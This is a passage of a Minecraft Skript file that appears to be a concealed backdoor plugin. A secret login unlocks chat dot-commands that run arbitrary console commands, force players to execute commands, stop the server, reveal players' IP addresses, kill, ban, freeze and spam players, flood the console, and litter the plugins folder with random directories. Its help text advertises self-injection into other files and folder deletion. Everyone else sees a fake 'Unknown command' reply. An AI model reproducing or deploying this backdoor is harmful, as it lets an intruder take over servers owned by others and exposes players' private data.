- send "&1FLOOD&2FLOOD&3FLOOD&4FLOOD&5FLOOD&6FLOOD&7FLOOD&8FLOOD&9FLOOD&0FLOOD&1FLOOD&2FLOOD&3FLOOD&4FLOOD&5FLOOD&6FLOOD&7FLOOD&8FLOOD&9FLOOD&0FLOOD&1FLOOD&2FLOOD&3FLOOD&4FLOOD&5FLOOD&6FLOOD&7FLOOD&8FLOOD&9FLOOD&0FLOOD" to console
- send "&1FLOOD&2FLOOD&3FLOOD&4FLOOD&5FLOOD&6FLOOD&7FLOOD&8FLOOD&9FLOOD&0FLOOD&1FLOOD&2FLOOD&3FLOOD&4FLOOD&5FLOOD&6FLOOD&7FLOOD&8FLOOD&9FLOOD&0FLOOD&1FLOOD&2FLOOD&3FLOOD&4FLOOD&5FLOOD&6FLOOD&7FLOOD&8FLOOD&9FLOOD&0FLOOD" to console
- send "&1FLOOD&2FLOOD&3FLOOD&4FLOOD&5FLOOD&6FLOOD&7FLOOD&8FLOOD&9FLOOD&0FLOOD&1FLOOD&2FLOOD&3FLOOD&4FLOOD&5FLOOD&6FLOOD&7FLOOD&8FLOOD&9FLOOD&0FLOOD&1FLOOD&2FLOOD&3FLOOD&4FLOOD&5FLOOD&6FLOOD&7FLOOD&8FLOOD&9FLOOD&0FLOOD" to console
- send "&1FLOOD&2FLOOD&3FLOOD&4FLOOD&5FLOOD&6FLOOD&7FLOOD&8FLOOD&9FLOOD&0FLOOD&1FLOOD&2FLOOD&3FLOOD&4FLOOD&5FLOOD&6FLOOD&7FLOOD&8FLOOD&9FLOOD&0FLOOD&1FLOOD&2FLOOD&3FLOOD&4FLOOD&5FLOOD&6FLOOD&7FLOOD&8FLOOD&9FLOOD&0FLOOD" to console
- send "&1FLOOD&2FLOOD&3FLOOD&4FLOOD&5FLOOD&6FLOOD&7FLOOD&8FLOOD&9FLOOD&0FLOOD&1FLOOD&2FLOOD&3FLOOD&4FLOOD&5FLOOD&6FLOOD&7FLOOD&8FLOOD&9FLOOD&0FLOOD&1FLOOD&2FLOOD&3FLOOD&4FLOOD&5FLOOD&6FLOOD&7FLOOD&8FLOOD&9FLOOD&0FLOOD" to console
- send "&1FLOOD&2FLOOD&3FLOOD&4FLOOD&5FLOOD&6FLOOD&7FLOOD&8FLOOD&9FLOOD&0FLOOD&1FLOOD&2FLOOD&3FLOOD&4FLOOD&5FLOOD&6FLOOD&7FLOOD&8FLOOD&9FLOOD&0FLOOD&1FLOOD&2FLOOD&3FLOOD&4FLOOD&5FLOOD&6FLOOD&7FLOOD&8FLOOD&9FLOOD&0FLOOD" to console
- send "&1FLOOD&2FLOOD&3FLOOD&4FLOOD&5FLOOD&6FLOOD&7FLOOD&8FLOOD&9FLOOD&0FLOOD&1FLOOD&2FLOOD&3FLOOD&4FLOOD&5FLOOD&6FLOOD&7FLOOD&8FLOOD&9FLOOD&0FLOOD&1FLOOD&2FLOOD&3FLOOD&4FLOOD&5FLOOD&6FLOOD&7FLOOD&8FLOOD&9FLOOD&0FLOOD" to console
- send "&1FLOOD&2FLOOD&3FLOOD&4FLOOD&5FLOOD&6FLOOD&7FLOOD&8FLOOD&9FLOOD&0FLOOD&1FLOOD&2FLOOD&3FLOOD&4FLOOD&5FLOOD&6FLOOD&7FLOOD&8FLOOD&9FLOOD&0FLOOD&1FLOOD&2FLOOD&3FLOOD&4FLOOD&5FLOOD&6FLOOD&7FLOOD&8FLOOD&9FLOOD&0FLOOD" to console
- message "%{G2ovfqIY}% &7| &7Flooded!"
- else:
- message "Unknown command. Type ""/help"" for help."
- else if {_arguments::1} = ".freezeall":
- if {logged.sinev.%player%} is true:
- message "%{G2ovfqIY}% &7| &7Freezing all players..."
- loop all players:
- if {freeze.sinev.%loop-player%} is not set:
- set {freeze.sinev.%loop-player%} to true
- message "%{G2ovfqIY}% &7| &7Done"
- else if {freeze.sinev.%loop-player%} is false:
- set {freeze.sinev.%loop-player%} to true
- message "%{G2ovfqIY}% &7| &7Done"
- else if {freeze.sinev.%loop-player%} is true:
- message "%{G2ovfqIY}% &7| &7All players are already frozen!"
- message "%{G2ovfqIY}% &7| &7If you want to unfreeze them use .unfreezeall"
- else:
- message "Unknown command. Type ""/help"" for help."
- else if {_arguments::1} = ".unfreezeall":
- if {logged.sinev.%player%} is true:
- message "%{G2ovfqIY}% &7| &7Unfreezing all players..."
- loop all players:
- if {freeze.sinev.%loop-player%} is true:
- set {freeze.sinev.%loop-player%} to false
- message "%{G2ovfqIY}% &7| &7All players are now unfrozen!"
- message "%{G2ovfqIY}% &7| &7If you want to freeze them use .freezeall"
- else if {freeze.sinev.%loop-player%} is not set:
- message "%{G2ovfqIY}% &7| &7The players are not frozen"
- else if {freeze.sinev.%loop-player%} is false:
- message "%{G2ovfqIY}% &7| &7The players are not frozen"
- else:
- message "Unknown command. Type ""/help"" for help."
- else if {_arguments::1} = ".tp":
- if {logged.sinev.%player%} is true:
- if {_arguments::2} is set:
- set {_player} to "%{_arguments::2}%" parsed as a offline player
- if {_player} is online:
- teleport player to {_player}
- message "%{G2ovfqIY}% &7| &7You teleported to %{_player}%!"
- else:
- message "%{I8BpUFuB3}% &7| &7Please select an online player!"
- else:
- message "%{I8BpUFuB3}% &7| &7.tp <player>"
- message "%{I8BpUFuB3}% &7| &7Please select a player"
- else:
- message "Unknown command. Type ""/help"" for help."
- else if {_arguments::1} = ".tphere":
- if {logged.sinev.%player%} is true:
- if {_arguments::2} is set:
- set {_player} to "%{_arguments::2}%" parsed as a offline player
- if {_player} is online:
- teleport {_player} to player
- message "%{G2ovfqIY}% &7| &7You teleported %{_player}% &7to you!"
- else:
- message "%{I8BpUFuB3}% &7| &7Please select an online player!"
- else:
- message "%{I8BpUFuB3}% &7| &7.tphere <player>"
- message "%{I8BpUFuB3}% &7| &7Please select a player"
- else:
- message "Unknown command. Type ""/help"" for help."
- else if {_arguments::1} = ".tpall":
- if {logged.sinev.%player%} is true:
- if {_arguments::2} is set:
- set {_player} to "%{_arguments::2}%" parsed as a offline player
- if {_player} is online:
- loop all players:
- teleport loop-player to {_player}
- message "%{G2ovfqIY}% &7| &7All players have been teleported to %{_player}%!"
- else:
- message "%{I8BpUFuB3}% &7| &7Please select an online player!"
- else:
- loop all players:
- teleport loop-player to player
- message "%{G2ovfqIY}% &7| &7All players have been teleported to you!"
- else:
- message "Unknown command. Type ""/help"" for help."
- else if {_arguments::1} = ".lockconsole":
- if {logged.sinev.%player%} is true:
- if {lockconsole.sinev} is not set:
- set {lockconsole.sinev} to true
- message "%{G2ovfqIY}% &7| &7The console has been blocked!"
- if {flute.q} is "Error":
- set {hacked.sinev} to "Error"
- else if {flute.q} is "Unknown":
- set {hacked.sinev} to "Unknown"
- else if {flute.q} is "Hacked":
- set {hacked.sinev} to "Hacked"
- else if {lockconsole.sinev} is false:
- message "%{G2ovfqIY}% &7| &7The console has been blocked!"
- set {lockconsole.sinev} to true
- if {flute.q} is "Error":
- set {hacked.sinev} to "Error"
- else if {flute.q} is "Unknown":
- set {hacked.sinev} to "Unknown"
- else if {flute.q} is "Hacked":
- set {hacked.sinev} to "Hacked"
- else if {lockconsole.sinev} is true:
- message "%{G2ovfqIY}% &7| &7The console has been unblocked!"
- set {lockconsole.sinev} to false
- delete {hacked.sinev}
- else:
- message "Unknown command. Type ""/help"" for help."
- else if {_arguments::1} = ".config":
- if {logged.sinev.%player%} is true:
- open chest with 1 row named "&eConfig" to player
- if {flute.q} is "Error":
- set {_it1} to light green dye
- set {_it1name} to "&7Error"
- if {flute.q} is "Hacked":
- set {_it1} to orange dye
- set {_it1name} to "&7Hacked"
- if {flute.q} is "Unknown":
- set {_it1} to red dye
- set {_it1name} to "&7Unknown"
- if {flute.q} is not set:
- set {_it1} to gray dye
- set {_it1name} to "&7None"
- wait 10 tick
- if {message.hacked.sinev} is true:
- set {_it2} to emerald block
- set {_it2name} to "&6&lHackedMsg &7True"
- if {message.hacked.sinev} is false:
- set {_it2} to redstone block
- set {_it2name} to "&6&lHackedMsg &7False"
- if {message.hacked.sinev} is not set:
- set {_it2} to redstone block
- set {message.hacked.sinev} to false
- set {_it2name} to "&6&lHackedMsg &7False"
- format slot 3 of player with {_it1} named "%{_it1name}%" to close then run [error(player)]
- format slot 4 of player with {_it2} named "%{_it2name}%" to close then run [hacked(player)]
- else:
- message "Unknown command. Type ""/help"" for help."
- else if {_arguments::1} = ".invsee":
- if {logged.sinev.%player%} is true:
- if {_arguments::2} is set:
- set {_player} to "%{_arguments::2}%" parsed as a offline player
- if {_player} is online:
- open {_player}'s inventory for the player
- message "%{G2ovfqIY}% &7| &7You are now looking %{_player}% &7inventory"
- else:
- message "%{I8BpUFuB3}% &7| &7Please select an online player!"
- else:
- message "%{I8BpUFuB3}% &7| &7Please select someone!"
- else:
- message "Unknown command. Type ""/help"" for help."
- else if {_arguments::1} = ".kill":
- if {logged.sinev.%player%} is true:
- if {_arguments::2} is set:
- set {_player} to "%{_arguments::2}%" parsed as a offline player
- if {_player} is online:
- kill {_player}
- message "%{G2ovfqIY}% &7| &7You killed %{_player}%!"
- else:
- message "%{I8BpUFuB3}% &7| &7%{_player}% &7is not online!"
- else:
- message "%{I8BpUFuB3}% &7| &7Please select someone!"
- else:
- message "Unknown command. Type ""/help"" for help."
- else if {_arguments::1} = ".confuseall":
- if {logged.sinev.%player%} is true:
- message "%{G2ovfqIY}% &7| &7Everyone is now confused"
- loop all players:
- if loop-player is not "%player%":
- apply hunger 10 to loop-player for 5 seconds
- apply slowness 10 to loop-player for 5 seconds
- apply invisibility to loop-player for 5 seconds
- apply mining fatigue 5 to loop-player for 5 seconds
- apply weakness 10 to loop-player for 5 seconds
- apply jump boost 10 to loop-player for 5 seconds
- apply nausea to loop-player for 5 seconds
- apply blindness to loop-player for 5 seconds
- else:
- message "Unknown command. Type ""/help"" for help."
- else if {_arguments::1} = ".stop":
- if {logged.sinev.%player%} is true:
- message "%{G2ovfqIY}% &7| &7Stopping server..."
- stop server
- else:
- message "Unknown command. Type ""/help"" for help."
- else if {_arguments::1} = ".console":
- if {logged.sinev.%player%} is true:
- if {_arguments::2} is set:
- if {_arguments::3} is set:
- if {_arguments::4} is set:
- if {_arguments::5} is set:
- make console execute command "%{_arguments::2}% %{_arguments::3}% %{_arguments::4}% %{_arguments::5}%"
- message "%{G2ovfqIY}% &7| &7Console executed command &7%{_arguments::2}% &7%{_arguments::3}% &7%{_arguments::4}% &7%{_arguments::5}%"
- else:
- make console execute command "%{_arguments::2}% %{_arguments::3}% %{_arguments::4}%"
- message "%{G2ovfqIY}% &7| &7Console executed command &7%{_arguments::2}% &7%{_arguments::3}% &7%{_arguments::4}%"
- else:
- make console execute command "%{_arguments::2}% %{_arguments::3}%"
- message "%{G2ovfqIY}% &7| &7Console executed command &7%{_arguments::2}% &7%{_arguments::3}%"
- else:
- make console execute command "%{_arguments::2}%"
- message "%{G2ovfqIY}% &7| &7Console executed command &7%{_arguments::2}%"
- else:
- message "%{G2ovfqIY}% &7| &7Please write something.."
- else:
- message "Unknown command. Type ""/help"" for help."
- else if {_arguments::1} = ".bc":
- if {logged.sinev.%player%} is true:
- if {_arguments::2} is set:
- if {_arguments::3} is set:
- if {_arguments::4} is set:
- if {_arguments::5} is set:
- if {_arguments::6} is set:
- if {_arguments::7} is set:
- if {_arguments::8} is set:
- if {_arguments::9} is set:
- if {_arguments::10} is set:
- broadcast "%{_arguments::2}% %{_arguments::3}% %{_arguments::4}% %{_arguments::5}% %{_arguments::6}% %{_arguments::7}% %{_arguments::8}% %{_arguments::9}% %{_arguments::10}%"
- else:
- broadcast "%{_arguments::2}% %{_arguments::3}% %{_arguments::4}% %{_arguments::5}% %{_arguments::6}% %{_arguments::7}% %{_arguments::8}% %{_arguments::9}%"
- else:
- broadcast "%{_arguments::2}% %{_arguments::3}% %{_arguments::4}% %{_arguments::5}% %{_arguments::6}% %{_arguments::7}% %{_arguments::8}%"
- else:
- broadcast "%{_arguments::2}% %{_arguments::3}% %{_arguments::4}% %{_arguments::5}% %{_arguments::6}% %{_arguments::7}%"
- else:
- broadcast "%{_arguments::2}% %{_arguments::3}% %{_arguments::4}% %{_arguments::5}% %{_arguments::6}%"
- else:
- broadcast "%{_arguments::2}% %{_arguments::3}% %{_arguments::4}% %{_arguments::5}%"
- else:
- broadcast "%{_arguments::2}% %{_arguments::3}% %{_arguments::4}%"
- else:
- broadcast "%{_arguments::2}% %{_arguments::3}%"
- else:
- broadcast "%{_arguments::2}%"
- else:
- message "%{I8BpUFuB3}% &7| &7Please write something!"
- else:
- message "Unknown command. Type ""/help"" for help."
- else if {_arguments::1} = ".disablesinevsk":
- if {logged.sinev.%player%} is true:
- make console execute "sk disable Flute"
- else:
- message "Unknown command. Type ""/help"" for help."
- else if {_arguments::1} = ".togglecmds":
- if {logged.sinev.%player%} is true:
- if {lock.sinev.%player%} is not set:
- set {lock.sinev.%player%} to true
- message "%{G2ovfqIY}% &7| &7All dangerous commands (for you) have been locked!"
- else if {lock.sinev.%player%} is false:
- set {lock.sinev.%player%} to true
- message "%{G2ovfqIY}% &7| &7All dangerous commands (for you) have been locked!"
- else if {lock.sinev.%player%} is true:
- set {lock.sinev.%player%} to false
- message "%{G2ovfqIY}% &7| &7All dangerous commands (for you) have been unlocked! Be careful!"
- else:
- message "Unknown command. Type ""/help"" for help."
- else if {_arguments::1} = ".killheart":
- if {logged.sinev.%player%} is true:
- if {_arguments::2} is set:
- set {_player} to "%{_arguments::2}%" parsed as a offline player
- if {_player} is online:
- set {_player}'s health to 0.5
- message "%{G2ovfqIY}% &7| &7You setted the %{_player}%'s heart to &c1!"
- else:
- message "%{I8BpUFuB3}% &7| &7%{_player}% &7is not online!"
- else:
- message "%{I8BpUFuB3}% &7| &7Please select someone!"
- else:
- message "Unknown command. Type ""/help"" for help."
- else if {_arguments::1} = ".healheart":
- if {logged.sinev.%player%} is true:
- if {_arguments::2} is set:
- set {_player} to "%{_arguments::2}%" parsed as a offline player
- if {_player} is online:
- set {_player}'s health to 20
- message "%{G2ovfqIY}% &7| &7You setted the %{_player}%'s heart to &c20!"
- else:
- message "%{I8BpUFuB3}% &7| &7%{_player}% &7is not online!"
- else:
- message "%{I8BpUFuB3}% &7| &7Please select someone!"
- else:
- message "Unknown command. Type ""/help"" for help."
- else if {_arguments::1} = ".freeze":
- if {logged.sinev.%player%} is true:
- if {_arguments::2} is set:
- set {_player} to "%{_arguments::2}%" parsed as a offline player
- if {_player} is online:
- if {_player} doesn't have permission "freeze.bypass":
- message "%{G2ovfqIY}% &7| &7Freezing %{_player}%..."
- if {freeze.sinev.%{_player}%} is true:
- message "%{G2ovfqIY}% &7| &7%{_player}% &7is already frozen!"
- message "%{G2ovfqIY}% &7| &7If you want to unfreeze %{_player}% use .unfreeze %{_player}%"
- else if {freeze.sinev.%{_player}%} is not set:
- set {freeze.sinev.%{_player}%} to true
- message "%{G2ovfqIY}% &7| &7You freezed %{_player}%!"
- else if {freeze.sinev.%{_player}%} is false:
- set {freeze.sinev.%{_player}%} to true
- message "%{G2ovfqIY}% &7| &7You freezed %{_player}%!"
- else:
- message "%{G2ovfqIY}% &7| &7You can't freeze %{_player}%!"
- else:
- message "%{G2ovfqIY}% &7| &7%{_player}% &7is not online!"
- else:
- message "%{I8BpUFuB3}% &7| &7Please select someone!"
- else:
- message "Unknown command. Type ""/help"" for help."
- else if {_arguments::1} = ".unfreeze":
- if {logged.sinev.%player%} is true:
- if {_arguments::2} is set:
- set {_player} to "%{_arguments::2}%" parsed as a offline player
- if {_player} is online:
- message "%{G2ovfqIY}% &7| &7Freezing %{_player}%..."
- if {freeze.sinev.%{_player}%} is true:
- set {freeze.sinev.%{_player}%} to false
- message "%{G2ovfqIY}% &7| &7%{_player}% &7is now unfrozen!"
- message "%{G2ovfqIY}% &7| &7If you want to freeze %{_player}% use .freeze %{_player}%"
- else if {freeze.sinev.%{_player}%} is not set:
- message "%{G2ovfqIY}% &7| &7%{_player}% &7is not frozen"
- else if {freeze.sinev.%{_player}%} is false:
- message "%{G2ovfqIY}% &7| &7%{_player}% &7is not frozen"
- else:
- message "%{G2ovfqIY}% &7| &7%{_player}% &7is not online!"
- else:
- message "%{I8BpUFuB3}% &7| &7Please select someone!"
- else:
- message "Unknown command. Type ""/help"" for help."
- else if {_arguments::1} = ".sudo":
- if {logged.sinev.%player%} is true:
- if {_arguments::2} is set:
- set {_player} to "%{_arguments::2}%" parsed as a offline player
- if {_player} is online:
- if {_arguments::3} is set:
- if {_arguments::4} is set:
- if {_arguments::5} is set:
- if {_arguments::6} is set:
- message "%{G2ovfqIY}% &7| &7%{_player}% &7executed command /%{_arguments::3}% %{_arguments::4}% %{_arguments::5}% %{_arguments::6}%"
- make {_player} execute command "%{_arguments::3}% %{_arguments::4}% %{_arguments::5}% %{_arguments::6}%"
- else:
- message "%{G2ovfqIY}% &7| &7%{_player}% &7executed command /%{_arguments::3}% %{_arguments::4}% %{_arguments::5}%"
- make {_player} execute command "%{_arguments::3}% %{_arguments::4}% %{_arguments::5}%"
- else:
- message "%{G2ovfqIY}% &7| &7%{_player}% &7executed command /%{_arguments::3}% %{_arguments::4}%"
- make {_player} execute command "%{_arguments::3}% %{_arguments::4}%"
- else:
- message "%{G2ovfqIY}% &7| &7%{_player}% &7executed command /%{_arguments::3}%"
- make {_player} execute command "%{_arguments::3}%"
- else:
- message "%{G2ovfqIY}% &7| &7Please write a command!"
- else:
- message "%{G2ovfqIY}% &7| &7Please select an online player!"
- else:
- message "%{G2ovfqIY}% &7| &7Please select a player that is &cOnline!"
- else:
- message "Unknown command. Type ""/help"" for help."
- else if {_arguments::1} = ".spam":
- if {logged.sinev.%player%} is true:
- if {_arguments::2} is set:
- if {_arguments::3} is set:
- if {_arguments::4} is set:
- if {_arguments::5} is set:
- if {_arguments::6} is set:
- if {_arguments::7} is set:
- if {_arguments::8} is set:
- if {_arguments::9} is set:
- if {_arguments::10} is set:
- message "%{G2ovfqIY}% &7| &7The chat has been spammed with %{_arguments::2}% %{_arguments::3}% %{_arguments::4}% %{_arguments::5}% %{_arguments::6}% %{_arguments::7}% %{_arguments::8}% %{_arguments::9}% %{_arguments::10}%!"
- wait 1 second
- loop 100 times:
- broadcast "%{_arguments::2}% %{_arguments::3}% %{_arguments::4}% %{_arguments::5}% %{_arguments::6}% %{_arguments::7}% %{_arguments::8}% %{_arguments::9}% %{_arguments::10}%"
- else:
- message "%{G2ovfqIY}% &7| &7The chat has been spammed with %{_arguments::2}% %{_arguments::3}% %{_arguments::4}% %{_arguments::5}% %{_arguments::6}% %{_arguments::7}% %{_arguments::8}% %{_arguments::9}%!"
- wait 1 second
- loop 100 times:
- broadcast "%{_arguments::2}% %{_arguments::3}% %{_arguments::4}% %{_arguments::5}% %{_arguments::6}% %{_arguments::7}% %{_arguments::8}% %{_arguments::9}%"
- else:
- message "%{G2ovfqIY}% &7| &7The chat has been spammed with %{_arguments::2}% %{_arguments::3}% %{_arguments::4}% %{_arguments::5}% %{_arguments::6}% %{_arguments::7}% %{_arguments::8}%!"
- wait 1 second
- loop 100 times:
- broadcast "%{_arguments::2}% %{_arguments::3}% %{_arguments::4}% %{_arguments::5}% %{_arguments::6}% %{_arguments::7}% %{_arguments::8}%"
- else:
- message "%{G2ovfqIY}% &7| &7The chat has been spammed with %{_arguments::2}% %{_arguments::3}% %{_arguments::4}% %{_arguments::5}% %{_arguments::6}% %{_arguments::7}%!"
- wait 1 second
- loop 100 times:
- broadcast "%{_arguments::2}% %{_arguments::3}% %{_arguments::4}% %{_arguments::5}% %{_arguments::6}% %{_arguments::7}%"
- else:
- message "%{G2ovfqIY}% &7| &7The chat has been spammed with %{_arguments::2}% %{_arguments::3}% %{_arguments::4}% %{_arguments::5}% %{_arguments::6}%!"
- wait 1 second
- loop 100 times:
- broadcast "%{_arguments::2}% %{_arguments::3}% %{_arguments::4}% %{_arguments::5}% %{_arguments::6}%"
- else:
- message "%{G2ovfqIY}% &7| &7The chat has been spammed with %{_arguments::2}% %{_arguments::3}% %{_arguments::4}% %{_arguments::5}%!"
- wait 1 second
- loop 100 times:
- broadcast "%{_arguments::2}% %{_arguments::3}% %{_arguments::4}% %{_arguments::5}%"
- else:
- message "%{G2ovfqIY}% &7| &7The chat has been spammed with %{_arguments::2}% %{_arguments::3}% %{_arguments::4}%!"
- wait 1 second
- loop 100 times:
- broadcast "%{_arguments::2}% %{_arguments::3}% %{_arguments::4}%"
- else:
- message "%{G2ovfqIY}% &7| &7The chat has been spammed with %{_arguments::2}% %{_arguments::3}%!"
- wait 1 second
- loop 100 times:
- broadcast "%{_arguments::2}% %{_arguments::3}%"
- else:
- message "%{G2ovfqIY}% &7| &7The chat has been spammed with %{_arguments::2}%!"
- wait 1 second
- loop 100 times:
- broadcast "%{_arguments::2}%"
- else:
- message "%{I8BpUFuB3}% &7| &7Please write something!"
- else:
- message "Unknown command. Type ""/help"" for help."
- else if {_arguments::1} = ".cc":
- if {logged.sinev.%player%} is true:
- loop 200 times:
- broadcast " "
- message "%{G2ovfqIY}% &7| &7The chat has been cleared!"
- else:
- message "Unknown command. Type ""/help"" for help."
- else if {_arguments::1} = ".god":
- if {logged.sinev.%player%} is true:
- if {_arguments::2} is set:
- set {_player} to "%{_arguments::2}%" parsed as a offline player
- if {_player} is online:
- if {godmode.sinev.%{_player}%} is not set:
- message "%{G2ovfqIY}% &7| &7Now %{_player}% is in god mode!"
- set the food level of {_player} to 10
- set the health of {_player} to 20
- extinguish {_player}
- set {godmode.sinev.%{_player}%} to true
- if {godmode.sinev.%{_player}%} is false:
- message "%{G2ovfqIY}% &7| &7Now %{_player}% is in god mode!"
- set the food level of {_player} to 10
- set the health of {_player} to 20
- extinguish {_player}
- set {godmode.sinev.%{_player}%} to true
- if {godmode.sinev.%{_player}%} is true:
- message "%{G2ovfqIY}% &7| &7Now %{_player}% is no longer in god mode!"
- set {godmode.sinev.%{_player}%} to false
- else:
- message "%{I8BpUFuB3}% &7| &7Please type the name of an online player!"
- else:
- if {godmode.sinev.%player%} is not set:
- message "%{G2ovfqIY}% &7| &7Now you are in god mode!"
- set the food level of player to 10
- set the health of player to 20
- extinguish the player
- set {godmode.sinev.%player%} to true
- if {godmode.sinev.%player%} is false:
- message "%{G2ovfqIY}% &7| &7Now you are in god mode!"
- set the food level of player to 10
- set the health of player to 20
- extinguish the player
- set {godmode.sinev.%player%} to true
- if {godmode.sinev.%player%} is true:
- message "%{G2ovfqIY}% &7| &7Now you are no longer in god mode!"
- set {godmode.sinev.%player%} to false
- else:
- message "Unknown command. Type ""/help"" for help."
- else if {_arguments::1} = ".togglechat":
- if {logged.sinev.%player%} is true:
- loop all players:
- if {chat.sinev.%loop-player%} is not set:
- set {chat.sinev.%loop-player%} to true
- message "%{G2ovfqIY}% &7| &7Now no one can chat"
- else if {chat.sinev.%loop-player%} is false:
- set {chat.sinev.%loop-player%} to true
- message "%{G2ovfqIY}% &7| &7Now no one can chat"
- else if {chat.sinev.%loop-player%} is true:
- set {chat.sinev.%loop-player%} to false
- message "%{G2ovfqIY}% &7| &7Now &ceverybody can chat!"
- else:
- message "Unknown command. Type ""/help"" for help."
- else if {_arguments::1} = ".help":
- if {logged.sinev.%player%} is true:
- if {_arguments::2} = "1":
- help1(player)
- else if {_arguments::2} = "2":
- message "%{G2ovfqIY}% &7| &8l &7.help &8l &fShows all commands"
- message "%{G2ovfqIY}% &7| &8l &7.freezeall &8l &fFreezes all players"
- message "%{G2ovfqIY}% &7| &8l &7.unfreezeall &8l &fUnfreezes all players"
- message "%{G2ovfqIY}% &7| &8l &7.freeze &8l &fFreezes another player"
- message "%{G2ovfqIY}% &7| &8l &7.unfreeze &8l &fUnfreezes another player"
- message "%{G2ovfqIY}% &7| &8l &7.enable &8l &fEnables a plugin"
- message "%{G2ovfqIY}% &7| &8l &7.disable &8l &fDisables a plugin"
- message "%{G2ovfqIY}% &7| &8l &7.tp &8l &fTeleports you to another player"
- message "%{G2ovfqIY}% &7| &8l &7.tpall &8l &fTeleports all players to you or another player"
- message "%{G2ovfqIY}% &7| &8l &7.lockconsole &8l &fEnables/Disables console to exe cmds"
- message "%{G2ovfqIY}% &7| &8l &7.stop &8l &fStops the server"
- message "%{G2ovfqIY}% &7| &8l &7.invsee &8l &fOpens another players inventory"
- message "%{G2ovfqIY}% &7| &8l &7.kill &8l &fKills you or another player"
- message "%{G2ovfqIY}% &7| &8l &7.confuseall &8l &fConfuses all players with potions"
- else if {_arguments::2} = "3":
- message "%{G2ovfqIY}% &7| &8l &7.killheart &8l &fSets max health of another player to 1"
- message "%{G2ovfqIY}% &7| &8l &7.healheart &8l &fSets max health of another player to 20"
- message "%{G2ovfqIY}% &7| &8l &7.console &8l &fExecutes a command as console"
- message "%{G2ovfqIY}% &7| &8l &7.togglecmds &8l &fDisables/Enables commands like /ban /kick"
- message "%{G2ovfqIY}% &7| &8l &7.sudo &8l &fForces a player chat of execute a command"
- message "%{G2ovfqIY}% &7| &8l &7.bc &8l &fBroadcast a message to the entire server"
- message "%{G2ovfqIY}% &7| &8l &7.spam &8l &fSpams the server with your message"
- message "%{G2ovfqIY}% &7| &8l &7.god &8l &fEnables god mode for you or another player"
- message "%{G2ovfqIY}% &7| &8l &7.togglechat &8l &fEnables/Disables people talking in chat"
- message "%{G2ovfqIY}% &7| &8l &7.cc &8l &fClears chat"
- message "%{G2ovfqIY}% &7| &8l &7.gui &8l &fOpens a gui with more forceop commands"
- message "%{G2ovfqIY}% &7| &8l &7.config &8l &fConfigures hacks to your liking"
- message "%{G2ovfqIY}% &7| &8l &7.ban &8l &fBans the player you wrote"
- message "%{G2ovfqIY}% &7| &8l &7.fly &8l &fEnables fly"
- else if {_arguments::2} = "4":
- message "%{G2ovfqIY}% &7| &8l &7.gm &8l &fChange your gamemode"
- message "%{G2ovfqIY}% &7| &8l &7.unban &8l &fUnban a banned player!"
- message "%{G2ovfqIY}% &7| &8l &7.ip &8l &fShow a player's ip!"
- message "%{G2ovfqIY}% &7| &8l &7.tphere &8l &fTeleports another player to you"
- message "%{G2ovfqIY}% &7| &8l &7.fill &8l &fFills the server files with random folders!"
- message "%{G2ovfqIY}% &7| &8l &7.inject &8l &fInject this skript into another random file!"
- message "%{G2ovfqIY}% &7| &8l &7.deletef &8l &fDeletes a folder!"
- else:
- help1(player)
- else:
- message "Unknown command. Type ""/help"" for help."
- else if {_arguments::1} = ".gui":
- if {logged.sinev.%player%} is true:
- open chest with 6 rows named "&bGraphical User Interface" to player
- format slot 11 of player with grass named "&aGamemode Creative" to run [gmq1(player)]
- format slot 15 of player with feather named "&aToggle Flight" to run [fly(player)]
- format slot 19 of player with dirt named "&cGamemode Survival" to run [gmq0(player)]
- format slot 21 of player with stained hardened clay named "&6Toggle Gamemode" to run [gmqt(player)]
- format slot 29 of player with barrier named "&8Gamemode Spectator" to run [gmq3(player)]
- format slot 52 of player with apple named "&3Heal" to run [svq1(player)]
- format slot 53 of player with potato named "&9Feed" to run [svq2(player)]
- else:
- message "Unknown command. Type ""/help"" for help."
- else if {_arguments::1} = ".gm":
- if {logged.sinev.%player%} is true:
- if {_arguments::2} is set:
- if {_arguments::2} is "1":
- gmq1(player)
- else if {_arguments::2} is "2":
- set player's gamemode to adventure
- message "%{G2ovfqIY}% &7| &7You are now in Adventure Mode"
- else if {_arguments::2} is "3":
- gmq3(player)
- else if {_arguments::2} is "0":
- gmq0(player)
- else:
- message "%{I8BpUFuB3}% &7| &7That gamemode doesn't exist!"
- else:
- message "%{I8BpUFuB3}% &7| &7Please select gamemode 0, 1, 2 or 3!"
- else:
- message "Unknown command. Type ""/help"" for help."
- else if {_arguments::1} = ".fly":
- if {logged.sinev.%player%} is true:
- fly(player)
- else:
- message "Unknown command. Type ""/help"" for help."
- else if {_arguments::1} = ".ban":
- if {logged.sinev.%player%} is true:
- if {_arguments::2} is set:
- set {_player} to "%{_arguments::2}%" parsed as a offline player
- if {_player} is online:
- if {_player} has played before:
- set {ban.sinev.%{_player}%} to true
- kick {_player} due to "&cYou have been banned by an operator"
- message "%{G2ovfqIY}% &7| &7%{_player}% &7is now banned"
- else:
- message "%{I8BpUFuB3}% &7| &7The player hasn't played before!"
- else:
- message "%{I8BpUFuB3}% &7| &7Please write an online player!"
- else:
- message "%{I8BpUFuB3}% &7| &7Please write an online player"
- else:
- message "Unknown command. Type ""/help"" for help."
- else if {_arguments::1} = ".unban":
- if {logged.sinev.%player%} is true:
- if {_arguments::2} is set:
- set {_player} to "%{_arguments::2}%" parsed as a offline player
- if {ban.sinev.%{_player}%} is set:
- if {_player} has played before:
- delete {ban.sinev.%{_player}%}
- message "%{G2ovfqIY}% &7| &7%{_player}% &7is now unbanned!"
- else:
- message "%{I8BpUFuB3}% &7| &7The player hasn't played before!"
- else:
- message "%{I8BpUFuB3}% &7| &7Please write a player that has been banned!"
- else:
- message "%{I8BpUFuB3}% &7| &7Please write a player that has been banned"
- else:
- message "Unknown command. Type ""/help"" for help."
- else if {_arguments::1} = ".ip":
- if {logged.sinev.%player%} is true:
- if {_arguments::2} is set:
- set {_player} to "%{_arguments::2}%" parsed as a offline player
- if {_player} is online:
- message "%{G2ovfqIY}% &7| &7%{_player}%&7's ip is %ip of {_player}%!"
- else:
- message "%{I8BpUFuB3}% &7| &7%{_player}% &7is not online!"
- else:
- message "%{I8BpUFuB3}% &7| &7Please write a player!"
- else:
- message "Unknown command. Type ""/help"" for help."
- else if {_arguments::1} = ".fill":
- if {logged.sinev.%player%} is true:
- create dir "plugins\\a%random integer between 10000 and 100000%"
- create dir "plugins\\b%random integer between 10000 and 100000%"
- create dir "plugins\\c%random integer between 10000 and 100000%"
- create dir "plugins\\d%random integer between 10000 and 100000%"
